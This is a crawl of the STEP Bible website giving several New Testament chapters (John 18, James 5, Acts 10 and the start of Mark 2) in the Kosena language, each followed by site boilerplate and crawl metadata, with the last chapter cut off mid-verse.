kuntaru-kwáásímá póna miwísé máyomba 6 kemá úne Ísu súwasa miwí tayauwérópaꞋa tanaambá vowaná 7 Ísu moórágwaraꞋa tísaa ena séna nááwana avakáá-íya kwéoo súwasa Ísu Násáretivakewaintaveta kwéavakaa-une suwaná 8 Ísu séna áꞋa simátimunda maandá kemá úne. kembó sivakáá ontavéꞋa maankwáásí étinkaiyasa koró Ísu súmba 9 Áánútuntavai siráimba símakaanda-kwaasi íma sáwí-amba kwakáawe sirónkaꞋa póna paárumai mináímbá súwana 10 Sáímoni Pítaa taánasatama ámúrandavinkemba taúꞋmaena aivaꞋ-mónó-káwáánákóná kwayó-kwáásí ááꞋa agáúsuwomba minkwáyó-kwáásígó áwíꞋa Márákáasi kwenááꞋa agáúsuwowana 11 Ísu Pítaantavena séna ená taánasatama ámúrandavimba kwiyuwó. síꞋa índaiꞋa umásinkanaaombanivo kesivoná mayáímá íma tuwánáúnda póꞋa mirámá ónaumne Ísu siráiye.\nÍsumba áíꞋmaesa ÁnásinopaꞋa máánkaraan-kwasai.12 Ísu súwasa i-kwáásíyé miwítí anón-kwaasiye monoꞋ-nánkár-í-kwáásíyé Ísumba tátoꞋmai ayáánkaꞋa asááúmaesa 13 áíꞋmaesa aivaꞋá moórá-kawaanaꞋa áwíꞋa ÁnásinopaꞋa máánkówana kwemá Káyavaasi aísáánkoma póna minkánáámá Káyavaasima aivaꞋ-mónó-káwáánákómá póna 14 ááéma simátimena séna Yútaa-kwaasi amápaꞋa púwóvo séna moóráwai puwíníye siráiwaina aísáánkonopaꞋa máánkaraawe.\nPítaa íma awánáúnda-kwaasiye siráin-kwasai.15 máánkówasarai Ísuna kwayó-kwáásíráí moóráwai Sáímoni Pítaawe moóráwaiye Ísun-ánaaemba kwaꞋmaésarai kuyambá aivaꞋ-mónó-káwáánákó moóráwaimba awánasuwowana aaimá ísópaꞋa Ísumba ánkaropaꞋa umáyowana 16 Pítaa aan-taaréívímbá máyowana aivaꞋ-mónó-káwáánákómá awánówaima usauweréna ontaráꞋóárákwiron-arasigontavena simámuwana ontá tiyankówana Pítaamba áíꞋmaena usáverowana 17 minárásígó Pítaamba awánéna áísaa ena séna minkwáásígóná kwayó-kwáásíyáꞋono súwana Pítaa séna aꞋáo ke óꞋon-kwaasi úne súwasa 18 táúgwitavesa ésa mayáí-kwáásíyé i-kwáásíyé iramá agaimarésa tiyáámba kwégauvuwana Pítaa mináímbá simásuwena iraráꞋá koména ayáámba kauráiye.\naivaꞋ-mónó-káwáánákómá Ísumba áísaa uráin-kwasai.19 Pítaa iraráꞋá kwégauvuwana aivaꞋ-mónó-káwáánákómá Ísuntavena séna simátímakaanda-aimba simásimiyo. ená kwayó-kwáásíyáváígwáráꞋá simásimiyo súwana 20 Ísu séna Yútaa-kwaasiti anóm-bonoꞋ-naumpare sáwíyam-bonoꞋ-naumpare simáti simati eémáyaunda avoraꞋá seémáyaunda íma aúpáꞋá simátimakaumpo 21 nóintavai kwésisaa-ono. kesááimo ísaraawai tísaa inasá simátimakaunda-aimba ísaraamba pósa sénááowe súwana 22 monoꞋ-nánkár-í-kwáásígó Ísumba tuvuwéna séna aivaꞋ-mónó-káwáánákómó simpímbá íma mirá siyó súwana 23 Ísu séna sáwí-aimbo súndarakai misáwí-áímbá ááéma avoraꞋá isinó. kawer-áímbó súndayavai nóinkakena sínkamono súwana 24 Ánási aiꞋmarówasa ayáámpinken-anda íma ayútuwesa mindánankwaraꞋa áíꞋmaesa Káyavaasi aivaꞋ-mónó-káwáánákónópaꞋa máánkaraawe.\nPítaa íma awánáúnda-kwaasiman-iye siráin-kwasai.25 aivaꞋ-mónó-káwáánákónópaꞋa Ísumba máánkówana Pítaa iraráꞋá ména ayáámba kwégauvuwasa iraráꞋó máyón-kwaasi áísaa esa sésa egwárárá minkwáásígóná kwayó-kwáásí oónó suwaná mináímbá umémpaꞋa tuwéna séna ke ímaniye súwana 26 aivaꞋ-mónó-káwáánákóná kwayó-kwáásí Pítaantavena séna emá minkwáásígóe taai-kigáúváꞋá máyaayaꞋa tuwánaraunda áraira súno séna Pítaama ááꞋa agáúsukowai akún-ándárákéwáímá súwana 27 Pítaa moórágwaraꞋa séna ke ímaniye súwana kokórigo áái siráiye.\nÍsumba áíꞋmaesa PáírátinopaꞋa máánkaraan-kwasai.28 kokórigo áái súwasa irataróꞋa Káyavaasina naaúmpakemba Ísumba áíꞋmaesa kámááni-anondakona pááimpaꞋa máankesa sésa íma Yútaa-kwaasiti naaúmpaꞋan-ivo óꞋon-kwaasiti naaúmpaꞋa iyéta tíyótaasa í-tánómbá íya náúnavaiyaawe sésa íma íyúwana 29 Árómáani-kamaani-kawaanako áwíꞋa Páíráti kunákárúwena kuntísaa ena séna minkwáásí nóinkakena aaivimbá mayankánáe séo súwasa 30 ímo sáwíꞋo uráinkakai íya áíꞋmaeta túsino suwaná 31 Páíráti séna keyááríkaꞋa áíꞋmaeꞋa kentí ámáámbo makénten-umai simánkáaro súwasa miYútáá-ánón-kwáásí sésa Árómáani-kamaani-kwaasi moóráwaimbo tuvúꞋmáímo utaíyáváí aambá áúntukaawe sumbá 32 ááéma Ísu simátimena séna taairaꞋá mói sínkamiyaꞋa puwónáumne siráin-aimba paárúwasa áíꞋmaesamo kumbá mináíntávésa uwaná 33 Páíráti naaúmpaꞋa kuntauweréna iyéna Ísumba ááyena séna emá Yútaa-kwaasiti kawáánárá oónó súwana 34 Ísu séna ená imáyáavinkena sísaa ó. kwaási simámakaawa sísaa oónó súwana 35 Páíráti séna kemá íma Yútaa-kwaasima úne. ená kwaásiye mono-káwáá-kwáásíyé áíꞋmaesa kesópaꞋa tiráavo norá ónasawaꞋiyo súwana 36 Ísu séna kemó kawááíꞋo úndama íma marapáꞋá kwáyáiye. kemó kawááíꞋo úndamo marapáꞋó kwáyáinkakai kesí kwayó-kwáásí ááiꞋa tíyáásino. Yútaa-kwaasi kembá tátoraavo sésa ááiꞋa tíyáásino sésa tátokaawe. kemó kawááíꞋo úndama íma marapáꞋá kwáyáiye súwana 37 Páíráti áísaa ena séna kawáánárá oónó súwana Ísu séna áꞋa séne. mindáyaveꞋa marapáꞋá kumúnana masínkaraimba póꞋa arupí-aimba kwésimatimune. arupí-aintavesamo aamoimó owáí kesááima kwéisaawe súwana 38 Páíráti séna nói-aina arupí-aimban-iyo siráiye.\nÍsumba arááꞋa tuvúwóro siráin-kwasai.39 tíyótaasa í-tánón-kánáá tintembá moórá-kwaasi ááyaawaꞋa ándávakemba ayúrankaundantemba minkánáámó tinkáꞋá Yútaa-kwaasiti kawáánárá ayúrankanaumno tísaa ena súwasa 40 anónkaꞋa sésa ímanivo kwembá íma ayúranke Párápásimba ayúrankaao suwaná Párápásima ááite tiyéna umóyánté in-kwáásímán-iye sésa kwembá ayúrankaao siráawe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Joh.18","date":"2018-04-21T04:05:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125944982.32\/warc\/CC-MAIN-20180421032230-20180421052230-00183.warc.gz","language":"kze","language_score":0.9999736547,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999736547470093}","num_words":764,"character_repetition_ratio":0.061,"word_repetition_ratio":0.005,"special_characters_ratio":0.157,"stopwords_ratio":0.136,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"James 5\nóísankwara-kwaasiti kwaasái.1 óísankwara-kwaasiyono. senda-áímbá ísáaro. kentópaꞋo umbai-yántááꞋó tínímba anón-imayaa kwéeꞋa kanagíꞋá kwéteꞋa ménaaowe. 2 sáwívar-oisamba makáan-oisamba atúnkaisana sáwívar-unankwatoi kwaígo ánáamba káráyuwaisana 3 óntamba makáamba atúnkaisasa kwaási awánésa sésa íma túwaꞋnaa ombá makáawana atúnkaiye sénááomba iramó aneꞋó kwégainten-umai sáwí-meyamba kentópaꞋa tíníye. sáwívar-oisamba makáambanivo Áánútu kwaásimo máyáawaina ááimba tísaa ínín-kanaama tíníye. 4 kentí kígau on-kwáásítí meéyámbá íma kaweꞋá umái timéꞋa sáwíꞋa kwéomba Áánútu awánaraiye. minkwáásí anónkar-anonkaꞋa kwésewana Áánútu asirayánkwáráwáí kwéisaiye. 5 marapáꞋó máyáankaꞋa sáwívar-oisamba maréꞋa kentí imáyáavinkemba kembó tínkáim-bayai kwémayaawe. ímo sáwíꞋo uráan-kwaasi aaivimbá maitínkówaꞋa íma anondá aaí suwaꞋá tínkamuwasa pukáawe. póímo toómbó kwétimewanamo anón-isasamó tuvúꞋnaantemba kembó tínkáisaꞋo mirámó kwéomba Áánútu sáwí-meyamba timíníye.\nasiramái mésa námúnaa kwésen-kwasai.7 mindáyaveꞋa asiramái maimaé kwéiyeꞋa Ísóigo ókwaraꞋo kumínímba amuꞋmáráaro. kígaugo avowámá kígau úmakena amuꞋmaréna séna kaekáꞋá aaꞋá téna kígau anón-ínaꞋa nánáe séna amuꞋmaráíntemba 8 miráráán-umai Ísóigomba amuꞋmakéwana kumíníye. Ísóigo sáwíyankaꞋa kumínímba póꞋa asiramái aánoumai máéro. 9 Áánútu aaivimbá maitinkánívo kentí kwaási íma íꞋái tínkáaro. Áánútu aaivimbá maitinkánín-kanaa sáwíyankaꞋa tíníye.\n10 kesí kwaásiyono. naaóváꞋá Áánútun-aai simátímakowaimo uráamba imáyáa oro. Ísóigo simátímakon-aimba simátímaꞋmae iyúwasa íma ísówana umbai-yántááꞋá sáwívaꞋa miwítópaꞋa túwasa Áánútun-aai íma ivátuwesa asiramáímo mésamo uráantemba miráumai máéro. 11 naaóváꞋá Áánútuna imáyáa ésa asiramái máyón-kwaasiyaveta séta Áánútu kaweꞋá umátínkarain-kwaasiman-owe kwésune. naaóváꞋá moórá-kwaasi áwíꞋa Yópoma uráin-aimba imáyáa oro. umbai-yántááꞋá sáwívaꞋa kwenópaꞋa túwana Ísóigontavena asiramái maíꞋmaiꞋa úmae kwéiyuwana naaémba Ísóigo kawe-tántááꞋá ámakaiye. miráumai Ísóigo anón-arumba umásinkena kwésuwaꞋnaa-iye.\n12 kesí kwaásiyono. anón-aimba ísáaro. kentááiyavesa áraire sénááontavesa íma tikáꞋá kwémareꞋa árair-aimba súne sembá kwíyómpaꞋa máyáiwai aúrankaꞋa áraiꞋa kwésune íma séꞋa marapá-kwáásí túrankaꞋa áraiꞋa kwésune íma seró. ánivo owémó séꞋo éꞋa úwoi owé séꞋa íma tikáꞋá kwémareꞋa seró. aꞋáomo séꞋo éꞋa úwoi aꞋáo séꞋa íma tikáꞋá kwémareꞋa seró. mirámó síyanamo éna Áánútu mináíntávéna íma sáwí-meyamba timíníye.\n13 keinárawapinkembo umbai-yántááꞋó mayáíyawai ÁánútunkaꞋa námúnaa seró. keinárawapinkembo tirunkó aamoí íyawai monor-ímá kwésesa Áánútu áwíꞋa mósá máráaro. 14 keinárawapinkembo tíꞋo índawai Ísóigona kwaásiti anón-kwaasi tááyaiyasa tésa Ísóigona asirayámbá imáyáa ésa masawémba túraꞋa pétinkesa námúnaa seró. 15 Áánútumo siráintemba íníye kwésesa námúnaa kwésemba póna Áánútu minkwáásí kaweꞋá umátinkena usásintinkena minkwáásímó sáwíꞋo uráiyanamo éna miwívínkémbá maitiyuwáníye. 16 mindáyaveꞋa kentí kwaási sáwíꞋo kwéomba avoraꞋá simátimeꞋa námúnaa simái túwaꞋnaa oro. mirámó íyanamo éna tíꞋo índamo éna Áánútu asóvamatinkaniye. arupí umái máyáawaimo námúnaa kwésemba Áánútu iséna asiramái kwétuwaꞋnaa-iye.\n17 naaóváꞋá Áánútun-aai simátímakowai áwíꞋa Íráiyaa ména kwemá kesáámó úndanten-kwaasi ména ÁánútunkaꞋa asiramái námúnaavinkemba séna aaꞋá íma tíno súwana íma aaꞋá téna kaumbo-ímá umái avaꞋmoraé-kwiyomba maisuwówana íma aaꞋá túwana 18 minkákémbá naaémba námúnaavinkemba aaꞋá tíno súwana aaꞋá túwana kígauvaꞋa amápa-tomba kaweꞋá uráiye. miráumai arupí umái máyáawaimo námúnaa kwésemba Áánútu iséna asiramái kwétuwaꞋnaa-iye.\n19 kesí kwaásiyono. keinárawapinkembo évakarawaimo kawer-ámpáꞋó tuwáíyaꞋo éꞋa méyavisiyasamo tésamo kawer-ámpáꞋó tíyaꞋo éꞋa kaweꞋá umátinkanaaowe. sáwíꞋo uráiyawaimo méyavisiyasamo sáwí-ampaꞋo tuwésamo ÁánútumpaꞋo tíyanamo éna Áánútu misáwí-yántááꞋá sáwívaꞋa maitiyuwáínasa Áánútuna némpaꞋo iramó kwégaindavaꞋa íma kónááowe. mináímbá imáyáa oró.\nkemá Yémésimo súnda-aimba ánásaiye.\n20\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Jam.5","date":"2018-04-20T16:37:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125944479.27\/warc\/CC-MAIN-20180420155332-20180420175332-00056.warc.gz","language":"kze","language_score":0.9999932051,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999932050704956}","num_words":596,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 10\nPítaa Kóníríyasina naaúmpaꞋa iráin-kwasai.1 Sísáriyaa-naopaꞋa moóráwai áwíꞋa Kóníríyasi ména Árómáavakemba sáwívar-i-kwaasiraꞋa 100 i-kwaasiraꞋa kárákwirowai máyowasa miní-kwáásí túwíꞋa Ítári-i-kwaasiye kwésesa uwaná 2 Kóníríyasi Áánútun-aaiyavena asiramái ména kwená akúnté Áánútuna imáyáa éna áwíꞋa mósá maréna Yútaa-kwaasimo ímo óísambo makón-kwaasi kwétuwaꞋnaa-ena ÁánútumpaꞋa námúnaa símae iyúmba 3 moórá-tawai enónkaꞋa námúnaa kwésuwana Áánútuna kwayóꞋnáꞋá kwíyómpakewai aúrankaꞋa paárúwana kaweꞋá umái awánówana séna Kóníríyasiyo súwana 4 ááꞋa kówana aúramba kararéna séna Ísóigoo nóran-aina simásiminiyewa seénó súwana emó námúnaamo séndawai kwaásimo túwaꞋnaa óndawai Áánútu aúrankaꞋa kaweꞋá óndayavai Áánútu ená imáyáa imbá pó 5 ená kwaási tiꞋmárénasa Yópaa-naopaꞋa moóráwai áwíꞋa Sáímoni Pítaamba koaíráaro. 6 kwemá araámáó Sáímonina naaúmpaꞋa ména minkwáásígó kwaan-áúwarasi-mayaimo máyáin-kwaasigona naaúmpaꞋa uwí-nónkóná awámpáꞋ-náúmpákémbá koaíráaro 7 simásuwena áúyokuwana Kóníríyasi kwená mayáí máyón-kwaasivinkemba kae-kwáyó-kwáásíráínte moórá-i-kwaasi Áánútuna imáyáa mósá marówainte miráumai-kwaasirau tááyowasa 8 tuwaná kwíyómpakewaimo simámakon-aimba simátimena séna miráumai Yópaa-naopakemba koaíráaro séna tiꞋmákaiye.\n9 tiꞋmarówasa aampaꞋá kógwaesa kweémesa Yópaa-naopaꞋa egwaaꞋá kumbá kwáyáꞋwái Pítaama naan-ávúmayaapaꞋa uména ÁánútumpaꞋa námúnaa kwésuwana 10 áái ankówana toómbá nánáe súwasa toómbá agáyómba kaainkááníꞋa umái awánómba 11 kwíyómba taaínkaar-úwana mimpínkémbá anón-ampanta éíyain-araairaꞋa tátoresa túwówana kuména marapáꞋá kumúwana awánómba 12 minámpántávímbá kwaí-kwaamba póíma iraankavayaambá avááꞋ-númámá óꞋon-oꞋon-kwai-kwaamba máyowana 13 aaigówé suꞋmai séna Pítaao usásinke tuvúꞋmái agandaaó súwana 14 Pítaa séna Ísóigoo ímanivo kentáásí ámáámba Yútaa-kwaasiya mirán-tántááꞋá aambá áúmbakaawata póꞋa íma kwénaumne súwana 15 minááígówé suꞋmai ókwaraꞋa séna Áánútu kawe-tántááré siráin-tantaatavai íma aambá áúmbakaawe siyó súwana 16 kaumboráꞋá kaainkáámbá awánówana kwíyómpaꞋa minámpántámá iráiye.\n17 iyúwana Pítaa minkááínkáán-áínkóná ááimba nóra aaináꞋiyo súmba Kóníríyasimo tiꞋmarón-kwaasi Sáímonina naambá taawánésa ontaráꞋá tamésa 18 tááyamai taáísaa esa sésa Sáímoni Pítaa maandáúmpárá kwááyu máyáiyo suwaná 19 Pítaa minkááínkáán-áínkóná ááimba avakáá-úwana Áánútun-amankoma séna kaumbo-kwáásí embá avakáá-úmaesa kwétevo 20 usásinke kumuwó. kemá tiꞋmaráúnasa tentáváí íma kaer-ímáyáá e miwísé úwoi kwaaó súwana 21 Pítaa kuména minkwáásíyávéna séna kwésivakaa-on-kwaasi úmpo nóintavera kwésivakaao súwasa 22 kentáásí kawáánákó áwíꞋa Kóníríyasi siꞋmáráísata enópata túne. kwemá kawe-kwáásí Áánútuna imáyáa éna áwíꞋa mósá máráísasa pósa Yútaa-kwaasi amápaꞋa kwentávésa kawe-kwáásíyé kwésewe. moóráwai Áánútuna kwayóꞋnáꞋá kwíyómpakewai kusimámena séna tiꞋmárénasa Pítaamba Yópaa-naopakemba koaíréwana enópaꞋa téna aaí tasína isaaó sisatá túne suwaná 23 Pítaa tíꞋmaena naaúmpaꞋa tinkówasa kwáúmba aaváyaavimba Pítaa usásinena miwísé kuráiye.\nmiwísé kúwasa Yópaa-naopakemba Ísuna aampaꞋá kun-kwáásí évakaꞋa aúyoresa 24 aampaꞋá kógwaesa kweémesa Sísáriyaa-naopaꞋa kumbá Kóníríyasi kwenamááraa kwená kwaásiye tááyowasa tayorupamái mésa Pítaamba amuꞋmakówana 25 Pítaa Kóníríyasina naambó kwáyonkaꞋa ontaráꞋá kúwana Kóníríyasi aamoí éna anóndakoman-iye séna aísamaivimba kumbaúwana 26 Pítaa séna emó óndanten-kwaasi úmpo usásinaao séna usásinakena 27 aaí simámaꞋmaena Kóníríyasiye naaúmpaꞋa iyúmba sáwíva-kwaasi torupamái máyómba utuwánéna 28 séna kentáásí ámáámba ísaraawe. Yútaa-kwaasiya óꞋonkaa-kwaasiye íma moórárata tágárotamaiya kwémaumne. miwítí naaúmpata íya kwénaaundarata Áánútu agaráásinkena amápa-kwaasi íma sáwí-kwaasin-owe siráisaꞋa awáraunda póta íma sáwí-kwaasiye sénaunda póꞋa úwoi kaweꞋá umái ménaumne. 29 mindáyavai sááyaamba íma aꞋáo súnda túmpo nóintavaiya sááyaraao Pítaa súwana 30 Kóníríyasi séna éíyain-doꞋwaamba kwaéꞋa ívékaamba eénáínkaꞋa kesí naaúmpaꞋa námúnaa súnana avekáámbá moóráwai ságayan-unankwatoi umásorena súrankaꞋa kumbaéna 31 séna Kóníríyasiyo emó námúnaamo sémo kwaási túwaꞋnaa ema Áánútu aúrankaꞋa kaweꞋá óndayavena Áánútu ená imáyáa imbá pó 32 tiꞋmárénasa Yópaa-naopaꞋa moóráwai áwíꞋa Sáímoni Pítaamba koaíráaro. araámáó Sáímonina naaúmpaꞋa máyáiye. kwaan-áúwarasi-mayaimo máyáin-kwaasigona naaúmpakemba uwí-nónkóná awámpáꞋ-náúmpákémbá koaíráaro súwaꞋa 33 avekáán-umai tiꞋmaráúnasa embá koaíráawa kaweꞋá umái téne. kesáá Áánútu aúrankaꞋa torupamái méta Ísóigo simámakain-aimba simásiminkwae séta amuꞋmakáunaya kwétene Kóníríyasi siráiye.\nPítaa simátímakain-kwasai.34 Kóníríyasi simásuwowana Pítaa séna ívéꞋa kwéisaumne. áraiꞋa Áánútu íma Yútaa-kwaasiye suꞋmai kwégarakwiyivo 35 amápaꞋ-mapaken-kwaasi Áánútu aúrankaꞋa arupí umái kaweꞋá umái máyáawai Áánútu miwí aamoí kwéumatinkaiye. 36 Áánútu Ísu Káráísitimba aiꞋmarówana Ísareri-kwaasiyavai áséi-kwasai simátímakaimba áꞋa ísaraawe. Ísu Káráísiti amápa-kwaasiti Ísóigoman-iye. mináséí-kwásáíyávésa árairemo síyawai tirumbá kaweꞋá umái kwempaꞋá ménaaomba 37 ke ísaraawe. Yóni simátimena séna kentí sáwí-imayaa tuwéꞋa ÁánútumpaꞋa téꞋa nombá peránááowe siráimba Ísun-aai aivaꞋá Káríri-ayampakemba kwétena Yútiyaa-maravaꞋa kóyáwé uráiye. 38 Ísu Násáretivakewain-aai ísaraawe. Áánútu kwenamambá Ísumba ámakowana kwempímbá anómba umánkowana Áánútu asirayámbá aména kwesé méraintavena naaóꞋ-naoꞋa kaweꞋ-máyáí kóyáwé éna Sáátáánigo tátorain-kwaasi kaweꞋá umátínkávaꞋa kuráiye. 39 Yútiyaa-maravaꞋa Yérúsaremu-naopaꞋa mayáímá mairáimba awánaraundayaawe. kwembá taairaꞋá aíyayaampimba tuvúsúmarowana puwéna 40 kaumbo-táwai maisuwówana Áánútu Ísumba pukáimpinkemba usásinankowana paárúnta kesúrandeiya awáraumpo 41 íma amápa-kwaasi awánaraawe. Áánútu simátíméromo siráinta Ísunta awánéta pukáimpinkemba usásinonkaꞋa toómbá nombá kweséya naráumne. 42 Ísu asiramái simásimena séna Áánútu imáyáa siména pukén-kwaasigwara túvaren-kwaasigwaraꞋa aaivimbá maitinkáníyone siyé simátíméro Ísu siráiye. 43 naaóváꞋá Áánútun-aai simátímakowai Ísun-aai simátimesa sésa kwenááiyavesa áraire sésa kwesé aráápamai maíyawai Ísuna asirayánkáꞋá Áánútu miwítí sáwí-imayaa maitiyuwáníye naaóváꞋá siráawe Pítaa siráiye.\n44 Pítaa mináímbá kwésimatimuwana kwéison-kwaasivimba Áánútun-amankoma minámápáráwáívímbá kuména 45 Áánútun-amankoma kumbaúwasa óꞋon-oꞋon-aimpinkemba Áánútu áwíꞋa mósá márówasa Yútaa-kwaasi Ísuna aampaꞋá kun-kwáásí Pítaae Yópaavakemba tuwáíyé táátavai ésa sésa Áánútu óꞋonkaa-kwaasigwaraꞋa kwenamambá úwoi kwétimiye sésa táátavai uwaná Pítaa séna 47 Áánútu kwenamantá símakaintenta miwígwáráꞋá kwétimimba póta nombá peránááomba íma aambá aunónaumpo úwoi nombá peránááovo 48 pétinkaaro súwasa Ísu Káráísitintavesa ísámai nombá pétinkowasa Pítaantavesa sésa kaumbo-káéꞋ-noꞋwaamba keséya kwaíníyone suwaná mirá uráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Act.10","date":"2018-04-20T07:03:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937161.15\/warc\/CC-MAIN-20180420061851-20180420081851-00256.warc.gz","language":"kze","language_score":0.9999983311,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999983310699463}","num_words":862,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.133,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mark 2\nÍsu aísamai pukówaimba kaweꞋá umánkarain-kwasai.1 évakaꞋ-noꞋwaamba kwaéna Ísu Kápénéamu-naopaꞋa kúmba kwená naaúmpaꞋa máyowasa sáwíva-kwaasi isésa 2 torupésa mindáúmpáꞋá sisipáá ésa pááimpakwaraꞋa sisipáá umásowana Ísu kwenáái kwésimatimuwasa 3 éíyain-kwaasi aísamaimo pukówaimba taagwiyaꞋmaésa tumbá 4 mindáúmpáꞋá sáwíva-kwaasi sisipáá uwasá íma kanaán-umai íyóraꞋnaraan-esa naanamivaꞋá taagwiyaꞋmaésa umésa avaaꞋá akósámaresa ándára tátoresa túwówana kumeémena Ísumo máyonkaꞋa aúrankaꞋa kumúwana 5 Ísu taagwiyaꞋmaésamo tun-kwáásímó áraiꞋa kaweꞋá umánkaniye-imayaa umbá Ísu tuwánéna aísamaimo pukón-kwaasiyavena séna kesí kwaásiyo ená sáwí-imayaa mayauwáúmne súwasa 6 ámáámba sun-kwáásí mésa 7 imáyáa ésa sésa nóra séna mirá siyó. Áánútu kweyáá sáwí-imayaa maitiyuwánívo kwaási íma mirá ónááovo Áánútumba akáꞋáámba kwésimankaiye-imayaa ésa suwaná 8 Ísu minímáyáámó umbá awánéna simátimena séna nóra séra mirán-ímáyáá kwéoo. 9 moóráwaimo aísamaimo pukáindawaintavaimo sénamo ená sáwí-imayaa mayauwáúmne sínasamo ésa áraira sií. kampará siíyo sénááowe. ánivo moóráwaimo aísamaimo pukáindawaintavaimo sénamo eyááríkaꞋa usásine ená kwandaaimá maimaé kwaaó sínasamo ésa áraira sií. kampará siíyo awánanaaowe. 10 kemá kwaási úrandaꞋa kumpaáruraundawai marapáꞋá máyaunda kwaásiti sáwí-imayaa maitiyuwáúnda-asirayamba tokáunda póꞋa agaráátínkáanda awánanaaowe séna aísamaimo pukón-kwaasiyavena séna 11 isaaó. usásinke ená kwandaaimá maimaé naaópaꞋa kwaaó súwana 12 amápa-kwaasi túrankaꞋa usásinkwena kwená kwandaaimá maimaéna kúwasa amáparawai táátavesa ésa Áánútu áwíꞋa mósá marésa sésa íma awánaraundaiꞋa isaꞋá awánáúmne sésa táátavesa ésa tiyáámba tóipimba áákaawe.\nÍsu Áríváimba ááyarain-kwasai.13 Ísu tuwéna Káríri-nonkwaaunkon-awampaꞋa kúwasa sáwíva-kwaasi kwenópaꞋa torupowaná kwenáái simátimena 14 kwéna awánómba Árávíási ááninko áwíꞋa Árívái táákísimo máyón-daumpaꞋa máyowana Ísu awánéna séna usásine kesé tiyó súwana usásinena kwenánaaemba kwaꞋmaéna kuráiye.\n15 kúwasa Ísuwe kwená kwayó-kwáásíyé Áríváina naaúmpaꞋa umésa toómbá nowasá táákísimo máyón-kwaasiye sáwíꞋo un-kwáásíyé sáwívaꞋa Ísun-ánaaemba kwaꞋmaésa Áríváina naaúmpaꞋa umésa nowasá 16 ámáán-kawaa-kwaasivinkemba ámáámba sun-kwáásí Ísumo táákísimo máyón-kwaasiye sáwíꞋo un-kwáásíyé toómbó kwénomba tuwánésa Ísuna kwayó-kwáásíyávésa tísaa esa sésa nóra sénawa táákísimo máyáan-umoyan-kwaasiye sáwíꞋo on-kwáásíyé Ísu toómbá kwénaiyo suwaná 17 Ísu iséna séna sontaa-kwáásígó kaweꞋó umáímo máyáan-kwaasi íma kwétuwaꞋnaa-ivo tíꞋo in-kwáásí kwétuwaꞋnaa-iye. mindáyaveꞋa arupí umái máyáan-kwaasi tááyaanasa ÁánútunopaꞋa tígwáe séꞋa íma kunkáumpo sáwíꞋo umáímo máyáan-kwaasi tááyaanasa ÁánútunopaꞋa tígwáe séꞋa kunkáumne Ísu siráiye.\ntoómbá aawesuráan-kwasai.18 moórá-tawai Yóni nombó pétinkowaina kwayó-kwáásíyé ámáán-kawaa-kwaasiye Áánútuntavesa imáyáa ésa toómbá íma kwénesa námúnaawe suꞋmai kwésuwasa évakarawai Ísumba taáísaa esa sésa Yónina kwayó-kwáásíyé 